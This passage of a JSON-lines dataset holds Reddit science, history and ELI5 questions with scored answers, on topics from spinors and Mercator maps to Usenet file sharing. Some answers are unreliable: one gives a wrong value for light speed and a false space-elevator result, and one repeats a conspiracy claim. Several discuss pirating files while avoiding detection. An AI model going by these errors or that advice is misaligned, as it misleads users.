I can relate to this. I had a crappy 2013 Kia Rio and I was always really tired after an hour long ride. I always had to fight to keep it in its lane. I then replaced it with a 2015 Corolla. It's still not a luxury car but handling and comfort is way better. I can now drive for hours without feeling tired.\n\nI discussed with a mechanic and he told me that korean cars are known for getting out of aligmnent easily and they are hard to align correctly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "ujybc", "title": "Suppose you have a space elevator on Earth. The end of the tower would be moving faster than the base due to Earth's rotation. How tall would the elevator have to be for the top to reach light speed?", "selftext": "Ignoring the fact that end of the end of the tower would fall behind, and that it would break from centripetal force. I'm just talking about the math involved.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ujybc/suppose_you_have_a_space_elevator_on_earth_the/", "answers": {"a_id": ["c4w2eyb"], "score": [7], "text": ["The equation for calculation angular velocity is (2*pi*r)/T, where r is the radius of the earth and T is the time taken to do one complete revolution. Solving this equation for R and using 1080000 km/h as the speed of light yields 4.1167*10^6 km as the result.\n\nSo your elevator should be approx. 4116700 km to reach the speed of light at the top of the elevator.\n\nEdit: The result is 4116700-6378 which is the earths equatorial radius."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4na9yl", "title": "how does google maps account for size distortion due to the mercator projection?", "selftext": "So most online maps seem to use the Mercator projection, but say I'm planning a trip from say, Niger to Germany, wouldn't the scales of length be really distorted?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4na9yl/eli5_how_does_google_maps_account_for_size/", "answers": {"a_id": ["d4253qb", "d426yty", "d426z9g", "d42irp7"], "score": [19, 11, 46, 5], "text": ["You're right, the distances (assuming you're looking at the whole route on one map) will be distorted.\n\nAs for how Google Maps accounts for it, they don't need to. So long as their distance calculations don't rely on the actual 2d map, it won't affect anything except for the way it looks on the screen - which you know, and accept, is distorted. So all they have to do is have a 3d model of the world, use that 3d model for calculating distances, and also use the same 3d model for converting to 2d and creating their maps.", "What you see on Google Maps is just an image.  It's there to help you out visually.  It doesn't actually calculate the distance based on that image.  Behind it, what you don't see is a massive database containing road networks.  This database will contain tons of information including the speed limit, if it's one-way and many many other factors including the length of the road (or the line-segment, as the roads will be represented by lines).\n\nThe maps calculate the distance of your trip based on the sum of all the lengths of all the line segments used in your trip.  If you'd like to learn more about how this stuff works, read about GIS (Geographic Information Systems).", "[Google maps calculates distance based on an internal database of paths (roads, ferry route and anything you can travel over count as a path) with associated \"distances\" (they also know everything from speed limits, traffic and toll information).](_URL_6_) These paths link nodes (addresses, junctions). [So inside google maps the world looks very different it's just a network of connected nodes.](_URL_3_)\n\nIt uses this information to create a path for you. [By representing the information in this form that can easily and quickly work out the best routes between two nodes taking without having to do much \"calculations\".](_URL_2_)\n\n[These details are passed to the mapping API (a program) which then draws it as an overlay on the map.](_URL_4_) The map is simply an image and only used represent the information in a way in which humans understand.\n\nSo it does not use the map itself find a route for you! [Nor does it recalculate the lengths of the roads (these are known and stored and processed for quick access -- we call this caching).](_URL_5_) This is way it's not affected by projection errors and has a much reduced calculation time.\n\nYou are right though, the scale on a map will be off for large maps. On small scales you can assume the earth to be flat but once you get bigger than a city you start getting errors in the area of metres. A block will probably give you accuracy of millimetres to centimetres. There is no good way around this, we could provide better estimates using a model of the Earth even if the Earth were a perfect sphere (it's not) the [passing of the sun deforms it the same way the moon deforms the tides](_URL_1_). \n\n[Few examples of how on the scale of the globe the distortion gets absurd.](_URL_0_)", "People seem to be missing one part of the explanation - the Mercator projection only matters if you're looking at the whole planet. Once you zoom in, it uses smaller bits of data, and so the distortion is much less. \n\nIt's the same reason that a city map doesn't skew the north end of the city - once you zoom in on any part of the sphere, the errors become less substantial. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/explainlikeimfive/comments/4na9yl/eli5_how_does_google_maps_account_for_size/d42qgji", "https://en.wikipedia.org/wiki/Earth_tide#Tidal_constituents", "https://en.wikibooks.org/wiki/Discrete_Mathematics/Graph_theory", "https://en.wikipedia.org/wiki/Graph_theory", "http://www.w3schools.com/googleapi/google_maps_overlays.asp", "https://en.wikipedia.org/wiki/Shortest_path_problem#Road_networks", "https://en.wikipedia.org/wiki/Shortest_path_problem#Applications"], []]}
{"q_id": "4aa43b", "title": "What are projection of vectors exactly?", "selftext": "What is happening on a 3d plane when I am projecting a vector on another vector? \nEdit:Rephrashing", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4aa43b/what_are_projection_of_vectors_exactly/", "answers": {"a_id": ["d0yu4ux", "d0yumtz", "d0zaklv"], "score": [10, 2, 2], "text": ["Imagine this...you have vector 1 and vector 2 in a 2D plane.\n\nWhen you project vector 1 onto vector 2, you are essentially recreating the \"shadow\" that vector 1 casts onto vector 2\n\n_URL_0_\n\nYou see this image?  The red vector is being projected onto the blue vector.  The green vector is the projection; it is red's \"shadow.\"\n\nOften the projection is a trigonometric function (sine or cosine) of some angle you can determine multiplied by the length of the vector to be projected", "First, assume that A and B have the same starting point. (If they don't, you can just move A so that it starts in the same place as B, and nothing changes.)\n\nThen find vector C such that:\n\n1. C has the same starting point as A and B\n2. C is either pointing exactly in the same direction as B or exactly opposite\n3. The vector from the end of C to the end of A is perpendicular to C\n\nAnother way to think about it is: draw perpendicular from end of A to line that B is on. The vector going to start of A to where that perpendicular meets B is the projection of A onto B.", "To add what's already been mentioned,  it's analogous to finding the [components of a vector in a Cartesian plane](_URL_0_) but instead of projecting the vector onto the axes,  you are [projecting the vector onto another vector](_URL_1_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/RNx1XNi"], [], ["https://www.grc.nasa.gov/www/k-12/airplane/Images/vectpart.gif", "https://upload.wikimedia.org/wikipedia/commons/thumb/3/3e/Dot_Product.svg/2000px-Dot_Product.svg.png"]]}
{"q_id": "rdf72", "title": "How can I remove the copper coating from a penny without harming the zinc?", "selftext": "My friend didn't know that pennies only have a copper coating, and I'd like to show him the zinc inside; is there something I can soak the penny in to erode the copper (but not the zinc) so I would have a penny that looks like [this](_URL_0_)? Thanks.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rdf72/how_can_i_remove_the_copper_coating_from_a_penny/", "answers": {"a_id": ["c44ye3y", "c44yg1q", "c44yq8d", "c44zdz7"], "score": [4, 8, 2, 2], "text": ["None that I can think of off-hand.  Zinc is far easier to oxidize than copper, so you can do the reverse, hollowing out a penny with hydrochloric acid that doesn't chew up copper.\n\nThat penny you see above is likely made by depositing a layer of zinc on top of the copper with a solution of zinc hydroxide.  The neat thing is that you can turn the penny a gold color by heating it as the zinc and copper merge together to form brass.  \n\n[_URL_0_](_URL_0_)\n\nIf I remember right, you can do the same thing with tin and make a bronze penny instead.", "If you don't care about the surface details, you can just grab a dremel (or something similar) and grind off your surface. Or to be fancy, a google search brought up this reaction:\n_URL_0_", "Apparently, you can use potassium cyanide and potassium persulfate to do it. Needless to say, potassium cyanide is extremely toxic and difficult to obtain if you're an individual.\n\n[Source](_URL_0_).", "Theodore Gray, a PopSci writer did a [piece](_URL_0_) about this.  He covers both how to remove the zinc, and how to remove the copper.  His method involves enough cyanide to kill everyone in a city block though, so I think it goes without saying that we shouldn't try this at home!"]}, "title_urls": [], "selftext_urls": ["http://www.theodoregray.com/periodictable/Samples/030.30/s12s.JPG"], "answers_urls": [["http://chemistry.about.com/od/chemistryhowtoguide/a/goldsilverpenny.htm"], ["http://www.youtube.com/watch?v=jRiBYMv6Tz4"], ["http://periodictable.com/Elements/030/index.html#sample30"], ["http://www.popsci.com/node/10538"]]}
{"q_id": "cfnuc5", "title": "during the apollo missions, what is the purpose of the \"beep\" you hear regularly in the background?", "selftext": "At first I thought it was maybe something marking the passing of time, but the beep seems to happen in an irregular pattern.  It also doesn't seem to correspond to when people start talking, so what could it be?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfnuc5/eli5_during_the_apollo_missions_what_is_the/", "answers": {"a_id": ["eubbr62"], "score": [27], "text": ["They are called Quindar tones and they served to turn the transmitter on and off such as with push-to-talk. The issue is that to keep track of the astronauts from a rotating Earth required a worldwide network and frequent switching between transmitters and receivers. The tones mediated all that, so they should in general follow when people are talking."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "gue6n", "title": "Hey, a request.", "selftext": "So in the winter of '04 I had a viral infection or something (doctors still don't really know) that left me about 85% deaf in my right ear with tinnitus to cancel out that last 15% good part. My hearing used to be my joy in life, I'm an audiophile and love music (it rules my life). It is still my joy but no where on the same level as it once was, so my request to the reddit science community is: Do you know of any research/experiments/procedures to help me regain my hearing. My doctors are fairly certain that it was my body autoimmuning and attacking my nerves that left my hearing this way. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gue6n/hey_a_request/", "answers": {"a_id": ["c1qejx0"], "score": [12], "text": [" >  Do you know of any research/experiments/procedures to help me regain my hearing\n\nThis should have been the title of your post.  \"Hey, a request\" is a horrible, terrible title.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "k9quv", "title": "When we think of our consciousness as being centered in our heads, is that based on the location of our brain, or on the location of most of our sensory organs, or something else? ", "selftext": "like, if our eyes and ears were located on different parts of the body, would we perceive a different \"control room\" for our thoughts?  Does it feel like thoughts are in my head because they actually are?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/k9quv/when_we_think_of_our_consciousness_as_being/", "answers": {"a_id": ["c2iknyh", "c2illle", "c2iknyh", "c2illle"], "score": [5, 2, 5, 2], "text": ["[This](_URL_0_) is a text about the debate (since ancient Greece) about the seat of consciousness, that, as far as I can see, does no deviate into speculative history. ", "Now, I am just speculating (as an expert I don't feel my expertise fully covers this question), but: since we are all [cephalized]( _URL_0_), we have a set of sensors that are all arrayed around our skull, which gives the perception that we are centered inside the skull. While not testable in a practical sense, this position predicts that you could move your sensors elsewhere, and \"feel centered\" wherever they originate from, rather distinctly on the skull. Any Psychology folk want to weight in?", "[This](_URL_0_) is a text about the debate (since ancient Greece) about the seat of consciousness, that, as far as I can see, does no deviate into speculative history. ", "Now, I am just speculating (as an expert I don't feel my expertise fully covers this question), but: since we are all [cephalized]( _URL_0_), we have a set of sensors that are all arrayed around our skull, which gives the perception that we are centered inside the skull. While not testable in a practical sense, this position predicts that you could move your sensors elsewhere, and \"feel centered\" wherever they originate from, rather distinctly on the skull. Any Psychology folk want to weight in?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wellcome.ac.uk/news/2004/features/wtx023667.htm"], ["http://en.wikipedia.org/wiki/Cephalization"], ["http://www.wellcome.ac.uk/news/2004/features/wtx023667.htm"], ["http://en.wikipedia.org/wiki/Cephalization"]]}
{"q_id": "d9iuh2", "title": "Why do we need spinors?", "selftext": "I understand that there is some important connection between spin and the groups SU(2) and SO(3). It's often pointed out that SU(2) double covers SO(3), and that the Pauli matrices form a basis for the Lie algebra su(2) (up to a factor of i). But I'm having trouble understanding the connection.\n\nAs I understand, SU(2) is the symmetry group of spinors (as diagrams like [this one](_URL_0_) point out - you need a double-covering of SO(3) in order to cover all spinor-space symmetries). This is why this group is so important in the theory of spin. A question that just occurred to me is why the Pauli matrices happen to form a representation of the Lie algebra su(2); does the algebra of observables of a system always have to be some representation of the system's symmetry group Lie algebra? But we can put that question to one side.\n\nI'm especially confused because the theory of spin in quantum mechanics is usually presented as (a generalised version of) the theory of orbital angular momentum. The commutation relations between spin observables are derived in terms of the canonical commutation relations of linear position and momentum.\n\nSo then, could someone connect this intro QM exposition of spin to the groups SU(2) and SO(3)?\n\nI'm also vaguely aware of Clifford algebra representations of spin. As far as I can tell spin states are represented by rotors which happen to double-cover SO(3). But that just kicks the can down the road: why should rotors represent angular momentum?\n\nApologies if this question is poorly formed or seems scattered - that's because it is. It's hard to form the question exactly because I don't fully understand its subject matter yet. So any answer, even partial, would be greatly appreciated.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d9iuh2/why_do_we_need_spinors/", "answers": {"a_id": ["f1wugre"], "score": [2], "text": [" >  The commutation relations between spin observables are derived in terms of the canonical commutation relations of linear position and momentum.\n\nIn some sense, this is just one way to derive those relations. But more abstractly, you can say that any Hamiltonian which has some transformations with the structure of 3D rotations (the SO(3)) that leave it invariant will lead to the same su(2) algebra when one considers infinitesimal transformations. for example, one could start with some randomly-given finite dimensional matrix, and by playing with it, discover a set of matrices which leave it invariant under conjugation which happen to span SO(3).\n\nNow, once you have a symmetry in a quantum system, you immediately can use [Wigner's theorem](_URL_0_). This says that, once your Hamiltonian is invariant under a symmetry group G, then you can choose the eigenstates of the system to transform under irreducible *projective* representations of G. Here, the work \"projective\" means that the states can transform irreducibly up to an overall phase - after all, such phases are unobservable in quantum physics, so these phases can show up.\n\nNow there's a bunch of formal math with how to construct these. For our case at hand, I'll say that since the Lie algebra of SO(3) (which is su(2)) does not admit a \"central extension,\" then it happens that if we simply find all of the irreducible representations of the group given by exponentiating su(2) (so SU(2)), then we automatically get all of the faithful and projective representations of SO(3). This is not a trivial step so I can go into more detail here if you like.\n\nNow, it happens that the even-dimensional irreps of SU(2) are the projective ones (we call them spinors by convention), while the odd-dimensional ones are faithful SO(3) irreps. Nothing says that one **needs** to have spinors once we have an SO(3) symmetry - there are plenty of quantum systems with SO(3) symmetry without spinor reps - but there are systems in nature which take advantage of the fact that they are allowed to show up in rotationally-invariant systems."]}, "title_urls": [], "selftext_urls": ["https://upload.wikimedia.org/wikipedia/commons/c/c1/Spinor_on_the_circle.png"], "answers_urls": [["https://en.wikipedia.org/wiki/Wigner%27s_theorem"]]}
{"q_id": "88ejnz", "title": "Is it possible to have an Earth-rise on the moon?", "selftext": "If you were to stand on the moon, would you be able to witness the the Earth \u201crise\u201d on the horizon?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/88ejnz/is_it_possible_to_have_an_earthrise_on_the_moon/", "answers": {"a_id": ["dwk1tdv"], "score": [30], "text": ["Short answer: yes, but not from every location on the moon.\n\nThe moon does not strictly face the earth with one side; it wobbles by about 9 degrees as it rotates around its own axis and the earth. The wobbling motion is called libration:\n\n_URL_0_\n\nBecause of this apparent motion, it's possible to observe more than 50% of the moon's surface from Earth. In particular, it's 59%.\n\nThe other consequence of libration is that the observer on the moon close enough to the edge of the disk will see earhrises and earthsets."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Libration"]]}
{"q_id": "5awiay", "title": "Westerns usually show people wearing long underwear and heavy clothes (long sleeved shirts, vests, jackets), even in the sun. Is this accurate? Wouldn't they be hot?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5awiay/westerns_usually_show_people_wearing_long/", "answers": {"a_id": ["d9k5an3", "d9kmxsf", "d9koj4y"], "score": [40, 289, 15], "text": ["You might be interested in the links to similar questions that were answered, posted by /u/searocksandtrees  [over here](_URL_0_).", "I am a mid-19th century historian focused on the period between 1858 and 1865 in Colorado, with a particular focus on the military activities in the southwest in the winter of 1862, so I can speak to the clothing conventions of the working class during the 50s and 60s.\n\nI'll start by saying that yes, 1850s-60s clothing is hot in warm weather, and the people living in the time coped in a few different ways.\n\nWhen it comes to films in the Western genre, characters portrayed are often working-class Americans. Ranch hands, Bounty Hunters, Gamblers and the like wore ready-made machine-sewn off-the-shelf clothing for the most part as it was affordable and, for the most part, sturdy enough to handle hard labor. Jean cloth was common, but so was cassimere, flannel, broadcloth, linen, and osnaburg. Hats were made of wool felt, straw, oilcoth, fabrics, and rubbercloth. Boots and shoes were made of leather and rubber. \n\nIt's important to remember that because 19th century folks didn't have climate-controlled environments, their bodies were differently adjusted to the heat. That being said, they still stripped layers for work, or made clothing choices that were better for warm weather, like choosing flannel overshirts instead of coats, or wearing summerweight coats and jackets made of linen rather than wool broadcloth. There were seasonal clothing choices available, and machine-sewn ready-made off-the-shelf clothing (as opposed to tailored), was the primary clothing supply source of the working class in the 1850s and 60s.\n\nThe Gold Rush of 1859 brought a huge influx of working-class Americans to the Pike's Peak region. The mining in Colorado was mostly placer mining, with pans and sluice boxes on stretches of creek bed, with hydraulic systems to blast the banks away. The mining season was the warm season, and it gets hot working in the sun. Miners stripped layers to make themselves more comfortable.\n\nIt was common to see men working the mines in only an undershirt, or with a vest over a linen or cotton shirt on hot days. Broad-brimmed hats were a staple on the Frontier. Many day laborers forewent jackets on favor of overshirts, which were mostly unlined and were made of a thinner flannel rather than a broadcloth.\n\nLong sleeves were often rolled up, but long sleeves and a wide brim hat would protect from the sun.\n\nOn the Frontier, boots were as popular as shoes. In the mines especially, waterproofed leather or rubber boots were a necessity. The Steamboat Arabia collection contains huge shipments of both boots and shoes, and that was bound for the mining regions of Montana in 1856.\n\nThere are misconceptions surrounding what it meant to be \"dressed\" in Victorian America, and the fact that so many images show men wearing only undershirts or shirtsleeves indicate that this etiquette was looser than it is commonly thought of.\n\nThis [album](_URL_0_) contains a variety of images of working class Americans, most of the miners, and shows most of the summerweight options available to the men of the period.\n\nTL;DR, the clothing etiquette of the 19th century working class was not nearly as hard-and-fast as it is often portrayed. Men went without jackets in public, and layers were stripped if folks got too hot. The layering of the 19th century worked well to keep folks warm at night, but during the day and while hard at work, layers were stripped for safety and comfort. There were certainly different clothing conventions than those we have today, but folks' everyday wear required some utility.\n\n", "As a followup to this question, would people have been significantly more mindful of their clothing as a means of protection and less of general comfort?\n\nWhat I mean is that in today's world and outside of perhaps formal events, we typically dress to be comfortable.  That said, we have sunscreens for sun protection, various lotions for sunburns, Neosporin-like creams for mild cuts, and on and on.  With these not available during that time period, is there a notion that people would have focused on \"safety\" (for lack of a better word) over comfort? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/58k4qw/how_did_people_in_the_old_west_where_so_much/"], ["http://imgur.com/a/mBhmO"], []]}
{"q_id": "1et8wd", "title": "what is usenet and why should i be using it rather than torrents?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1et8wd/eli5what_is_usenet_and_why_should_i_be_using_it/", "answers": {"a_id": ["ca3mpq5", "ca3mqoi", "ca3n3op", "ca3n65p", "ca3nb6s", "ca3njt9", "ca3oaoh", "ca3pe2s", "ca3rxys", "ca3syxu", "ca430z8"], "score": [34, 282, 288, 10, 80, 12, 12, 2, 2, 3, 2], "text": ["also, the first rule of usenet is that you don't talk about usenet", "We have come full-circle.\n\n1991: \"ELI5: What is the World Wide Web and why should I be using it rather than a BBS/Usenet/etc.?\"\n\n2013: \"ELI5: What is Usenet?\"", "Okay, so you already know how torrents work. Everybody shares little bits. You download some and share them, and eventually everybody has a copy. It's free. It can be very slow or very fast, depending on the popularity of a particular torrent file. It can be risky.\n\nLet's change hats and talk about Usenet. I upload a file to a Usenet service (that I pay for) and it is shared among thousands of Usenet servers all over the world. Other users (that pay for their Usenet access) can download the file millions of times. It can be extremely fast, but you have to pay for it.\n\nFree Usenet access used to come with your ISP, but most of them have done away with that. Either that or you could get a free introductory (slow, limited) access through a paid provider, just enough so that you would get hooked and buy more access. Nowadays, most everybody has to pay.\n\nI have had a paid access to a Usenet service for about 12-13 years now. Mine is around $100 a year. I make use of it, although I use it less and less now. It used to have bandwidth caps, meaning you could only download maybe 1 movie a day. Most paid services have unlimited data now.\n\nKeep in mind that there is a separate group for anything under the sun. (More than 50,000 active newsgroups.) Also, no moderation, so lots and lots of viruses. Be careful.\n\nThe advantage is that you have almost no chance of being caught / fined, unless you are one of the people uploading content. And there are ways of masking your identity and IP address so that it is difficult, if not impossible, to be caught. Many Usenet services either don't keep a record of what you download, or they only keep it for like 90 days in case law enforcement wants to look at their download records. I have never heard of anyone getting busted unless they were trying to distribute child porn.\n\nSo the newsgroups are divided up into categories, which are further divided so on and so on. See _URL_1_ . So you might have alt.binaries.sounds.mp3.classical and alt.binaries.sounds.mp3.classic-rock. Your alt.* newsgroups are going to have a lot of file sharing going on... music, photos, movies, porn, games, you name it. Pretty good list at: _URL_0_ .\n\nSome Usenet services have browser access. Most do not. You will need a newsreader program. I use Forte Agent.", "Think of Usenet like a system of message boards where people can discuss things. On Usenet, these message boards are called newsgroups. There are newsgroups covering everything from technology to support groups for teenagers. Some of those newsgroups haven't got just written posts, but are intended for file posts instead, much like how you attach a file to an e-mail message. Posts (files or just messages) to newsgroups are often retained for quite some time -- several months, or even years.\n\nUsenet isn't nearly as popular today as it once was because of more feature-rich message boards popping up on the web, as well as social networks.\n\nHowever, you can still get Usenet access from a variety of providers. These are usually paid services, but also often very fast. They also use to have long \"retention periods\". The combination of these two features make them useful especially for posting files (commonly called \"binaries\" there).\n\nUnlike a torrent file that can lose its \"seeders\" (those essential people who share the complete files), a binary on Usenet never goes away until the Usenet server's retention period elapses, which can be years. Giganews, for example, has a retention period of 4.8 years for binaries and 8.5 years for messages.\n\nAnd finally, thanks to the speed of Usenet providers, for this long period of time, you'll be able to access such binaries at the Usenet provider's maximum speed, which is often known to reach 50 Mbps or more. For the entire time you retrieve those files. Also, ratios are never enforced; you're never expected to share anything back to the Usenet network, regardless how much you retrieve from it.\n\nSo in essence: Usenet does not rely on seeders, provides very fast speeds, any files there often exist for much longer times than people care to seed them, and all newsgroups are free of ratios.", "Usenet is well explained in prior posts so let me tell you a bit about how it's different from torrents. Usenet is a lot of things so I'll just focus on the part thats relevant when compared to torrents.\n\n**Downloading**\n\nAs you probably know, to download something with torrents you need a program called a \"Bittorrent client\" and a place to find the torrent files which points to the files you want to download. Usenet downloading is pretty much identical when it comes to this, you need a program to download files and a place to get the files which point to what you want to download. The difference here is that you need a program made for Usenet and not bittorrent and you need files called nzb files rather than torrents.\n\nHow the files are downloaded is also a bit different. When you use bittorrent you are connecting to many other bittorrent users and downloading the files you want from them. At the same time you also share the pieces of the files with others, this means you both download and upload the files you are getting at the same time, everyone helps each other to complete the downloads. Someone also needs to have the complete original file and be sharing it in order for you to be able to get it.\n\nWhen you are downloading with usenet you are connecting your software to a server which holds all the files you want. The nzb file points to all the individual files you want on the server. The biggest difference is that you are not downloading from other people and helping each other out, you are simply downloading the files from a server. This means you don't have to upload anything (other than simple instructions) to the server.\n\n\n**Speed**\n\nOne of the things Usenet is best at is speed. The good servers will usually be as fast as your network can be so downloads are very quick, since you don't have to upload files at the same time you will also save network speed here. You are not dependant on other people with poor internet connections to share the files and most good usenet providers can give full speed almost anywhere on Earth.\n\nUsenet is a clear winner here, but you might not be able to afford to have full speed because Usenet often costs money, sometimes that means you could get better speed with torrents.\n\n**Price**\n\nThis is one of Usenets biggest problems when compared to bittorrent. Since all the files are on servers owned by companies; Usenet usually must be paid for. There are some free options and some Internet Providers offer usenet plans, but these are usually very limited in speed and the amount of files they have availible.\n\nThe prices vary a lot depending on how long you want servers to keep files, how fast you can download, how secure the download is, and how much you can download each month.\n\n**Retention**\n\nRetention is a fancy word which means how long a usenet server keeps files. Most usenet servers can't keep files forever since they have a limited amount of space to save them and so many files are added each day that they have to delete the old ones. This has become less of a problem the last few years as usenet servers now usually keep files for several years.\n\nIt might sound bad that the servers delete the files, but all thats needed to get the file back is for someone to upload it to the server again and it will stay for as long as the server keeps them. This compares favorably to torrents because many old torrents gets forgotten and unsupported by people so you can't download them at all.\n\nAnother problem with usenet that bittorrent doesn't have though is that the files are vulnerable to people who wants them removed. A file can never be forced away from bittorrent because anyone can just keep sharing it, but if a file is deleted from usenet intentionally it can be very hard to get back. This has become a bigger problem the last couple of years.\n\n**Security**\n\nOne of the worst problems with bittorrent is the lack of security. Since everyone is downloading from everyone only the most advanced and careful of users protect themselves against people who are out to get them or to punish them. You can use some systems on bittorrent to protect yourself, but these are usually either expensive or they slow down your download speed a lot.\n\nMost Usenet servers have great security to protect yourself with and they can even hide what you are downloading. Since you are downloading from a specific server rather than from everyone you also avoid sharing your network address with other people which is a big plus. On the other hand a usenet server is only as secure as the company that owns it and that is something you should keep in mind.\n\n**Conclusion**\n\nThere are several more factors to consider when picking between usenet and bittorrent. Both have good and bad sides. I personally prefer usenet for it's speed and security, but often things I want are missing and I use bittorrent to get them. Many usenet companies offer free trails which lets you try out their service for free before paying which is a good idea to do.\n\n\n******\nEdit: Wow thanks to the anonymous gifter for the gold! Never had it before. I'm already hanging out in the lounge and eagerly awaiting someone to /u/ reference me. :D", "I find it kinda ironic...\n\nNow people love decentralized and p2p everything and find simple web-based forums too limiting.  But we had a decentralized message board system decades ago, it worked pretty much exactly like p2p forum software.\n\nBut in 90s and 2000s it well out of fashion, too many users preferred web-based forum which you can just visit without installing and configuring anything.\n\nAnd now people associate USENET with illegal content even though it is, basically, cloud-based forum software people now dream about.", "Nobody here, as far as I can see, has actually explained what Usenet is.\n\nUsenet is a one-to-many text messaging system that used to be the dominant form of content available online. Each user could post a message to a channel on a local server, provided by your university or ISP. That server would share the local posts with other servers, and your message would propagate throughout the net. It was a bit like email, but if the mailboxes were openly shared, and duplicated in many places.\n\nPretty early on people figured out that they could take a binary data file like a GIF and encode it as a form of text and post it to usenet. Other people could download and decode the file. Quite often the file was split into parts if it was large. Gradually these binaries came to dominate the system, even as spam killed off the community that existed in the many specific discussion channels that carried readable text, and public attention shifted away to the web.\n\nNowadays the system lives on almost entirely devoted to sharing binaries. The only companies offering usenet services are private servers you have to pay to use. They retain the data for much longer periods of time, and take care to ensure that all parts of multipart uploads are available. As far as why they are preferable to torrents, I don't know. ", "Because when I was about 8 (1993) I could get Duke Nukem 3D for free.", "A side question for me: Why should I pay for pirating instead of just getting it for free?", "37 years old and people going back to Usenet and accidentally discovering the crap I wrote in 1993 is the LAST thing I want.\n\nYou were supposed to stay buried!\n", "It broke a few months ago that there are CIA connections to Giganews, one of the largest Usenet providers. Ironically, this news may have broke on reddit [link.](_URL_0_)\n\nDefinitely give that a read. Its *ridiculous* to think the government doesn't know what you're downloading from Usenet, but it looks like they've actually run the service for decades from a government data center in Texas. Just trying to get the word out that Usenet is not the place the hide your online crimes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://binsearch.info/groups.php?server=2", "http://en.wikipedia.org/wiki/List_of_newsgroups"], [], [], [], [], [], [], [], ["http://www.reddit.com/r/Rothschild/comments/19vafr/the_rothschild_operation_in_texas_post_has_been/"]]}
{"q_id": "wpfka", "title": "Why do women appear to develop cellulite much easier than men? ", "selftext": "It seems like women develop it much easier than men. You can even see very young women with it and it doesn't seem right. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wpfka/why_do_women_appear_to_develop_cellulite_much/", "answers": {"a_id": ["c5fbf1g"], "score": [5], "text": ["Women start out with higher proportions of fat than men, but the specific causes of cellulite is still under a lot of debate and research."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3rj3ug", "title": "Was the 'Band of Brothers' really THAT outstanding fighting unit?", "selftext": "Most of us interested in WWII history have most likely read the book and/or seen the TV show. There is no reason to deny that Easy Company did very well during the war, but was it really that outstanding and exceptional company-level unit that the book/show make us think?\n\nI personally believe that the weakest point of Ambrose's book is his explaining why he chose this particular unit. Didn't most US rifle companies consist of men from various backgrounds who became 'brothers' during the course of war? Ambrose himself in his another book, *Citizen Soldiers*, describes a *'stock company'* (not sure about the term, I haven't read it in English) consisting of eager to fight young men from various backgrounds, with varying education, etc.\n\nI also recall reading somewhere that during the Siege of Bastogne (highly dramatized in the book/show) Easy Company was in fact in reserve for the other two companies of its battalion. \n\nThank you for addressing my doubts. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3rj3ug/was_the_band_of_brothers_really_that_outstanding/", "answers": {"a_id": ["cwojpwm"], "score": [3], "text": ["There were several thread discussions about this topic. Consense seems to be that Ambrose as \"historian\" is questionable.\n\nMaybe check [this thread](_URL_0_) and the answer of u/Georgy_K_Zhukov\n\nFor me the Battle of Bulge comes to mind where Ambroses account differs from reality especially when it comes to numbers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3kytaf/stephen_e_ambrosehow_bad_was_he_at_history/"]]}
{"q_id": "3eq48l", "title": "instead of paying unemployment to peopley who aren't working, why doesn't the government hire people to work for them and pay them the same amount? this way some work would be done (increasing gdp), and the unemployed people still get their money.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3eq48l/eli5_instead_of_paying_unemployment_to_peopley/", "answers": {"a_id": ["cthbsv1", "cthcp0v", "cthdops", "cthhsfq", "cthmeeq"], "score": [11, 2, 9, 2, 3], "text": ["Unemployment is paid for by employment taxes and fees paid by employers, not by the government.  The government operates the program.  \n\nFurther, your suggestion would not increase GDP - GDP is finished goods and services, not the sum of payroll.", "We *do* do that, in some ways: many infrastructure jobs operate more or less like that. \n\nBut there are a few problems. First, it's very tricky to get the government in the business of, well, business. If you made widgets, and then all of a sudden the government is also making widgets and paying more and undercutting you, you'd be pretty pissed, no? So the only thing that the government should get into is government-centered work, which they already do. \n\nThe problem is, of course, is that the projects needed may not match the skills of the people in need of work. In addition, many of the projects are above and beyond the scope of unemployment. We could fix all the bridges in the country right now, but it would cost trillions of dollars more than any unemployment program and also we'd have Mabel from Accounts Payable running the jackhammer. \n\nLike others have said, unemployment is actually an insruance program that is paid for by companies, not the tax revenue. (Since it's more or less required by the government, it is a \"tax,\" but it doesn't go to the general fund.) Any money spent above and beyond this is taking money from something else, so on net probably isn't going to be a benefit.\n\nTL;DR: The government already kinda does this with public works programs, but the scope and ability to do this is fairly limited by logic. ", "When would the unemployed have 